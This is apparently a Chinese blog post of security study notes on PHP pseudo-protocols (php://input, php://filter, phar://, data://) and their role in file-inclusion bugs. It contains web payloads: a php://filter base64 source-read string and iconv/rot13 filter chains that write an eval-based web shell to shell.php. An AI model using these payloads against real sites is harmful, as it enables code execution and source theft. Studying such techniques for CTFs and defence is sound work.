各种奇奇怪怪的协议

PHP支持的一些伪协议

https://www.php.net/manual/zh/wrappers.php

​ PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()copy()file_exists()filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

用于描述一个封装协议的 URL 语法仅支持 scheme://... 的语法。 scheme:/scheme: 语法是不支持的。

一、PHP://

php:// — 访问各个输入/输出流(I/O streams)

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

1、PHP://input

php://input是POST请求的原始数据只读流,它包含着 POST 提交的原始数据。

用法:

1
<?php $postdata = file_get_contents("php://input"); ?>

2、PHP://filter

file_put_content与php:filter利用技巧:https://www.cnblogs.com/vege/p/12650702.html

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

php://filter 将 流 通过 设置好的过滤器 进行 封装 过滤 的协议。

1
php://filter/<action>=<name>

例如:使用filter获取网页内容

1
2
3
4
5
<?php
$url = 'http://www.phpfamily.cn';
$data = file_get_contents('php://filter/resource=' . $url);
echo $data; //输出结果我http://www.phpfamily.cn页面的内容
?>

典型的文件包含漏洞。我们可以通过构造含有漏洞的语句,查看想要看的代码: file=php://filter/convert.base64-encode/resource=index.php 。再将得到的base64码解码即可。

read参数值可为

string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写
string.tolower: 将数据流中的内容转换为小写

string.rot13:
convert.base64-encode: 将数据流中的内容转换为base64编码 convert.base64-decode: 与上面对应解码

convert.iconv.UCS-4LE.UCS-4BE

convert.iconv.UCS-2LE.UCS-2BE

UCS编码:

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了,构造payload

1
2
3
4
5
6
7
8
#echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpiphp(ofn>?;)

$a='php://filter/convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=shell.php';
#由于是4位一反转,所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以补充了 xxx

hp?<ve p$(laUQER[TSE;)]11>?
#<?php eval($REQUEST[1]); ?>1
1
2
3
4
5
6
7
#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
?<hp phpipfn(o;)>?

$a='php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php';

?<hp pvela$(ERUQSE[T]1;)? 1>
#<?php eval($REQUEST[1]); ?>1

filter协议中支持多个过滤器进行过滤,过滤器间用管道符分割

例如:rot13+UCS组合拳

1
?file=php://filter/string.rot13|convert.iconv.UCS-4LE.UCS-4BE|uc?<ir c$(ynHDRE[GFR;)]11>? /resource=shell.php

二、Phar://

1
2
3
4
5
6
7
<?php
$phar=new Phar('my2.phar');
$phar->buildFromDirectory(__DIR__,'/index.php/');
$phar->compressFiles(Phar::GZ);
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('index.php'));
?>

Phar文件是一个文件的集合文件,或者称之为压缩文件也可以。
在例子中通过buildFromDirectory函数来调用当前目录下的index.php构建phar文档。
之后通过compressFiles函数进行phar文件的压缩,其中的Phar::GZ为压缩类型,目前默认支持的压缩类型为Phar::GZ、Phar::BZ2。
最后通过setStub来设置通过createDefaultStub创建的phar存根,phar文件在触发时会通过存根文件开始运行。

三、data://

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

使用方法:data:text/plain;base64,xxxx(base64编码后的数据)、data:image/png;base64,图片数据的base64编码(双斜线加不加都行)

data伪协议只有在php<5.3且include=on时可以写木马。

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器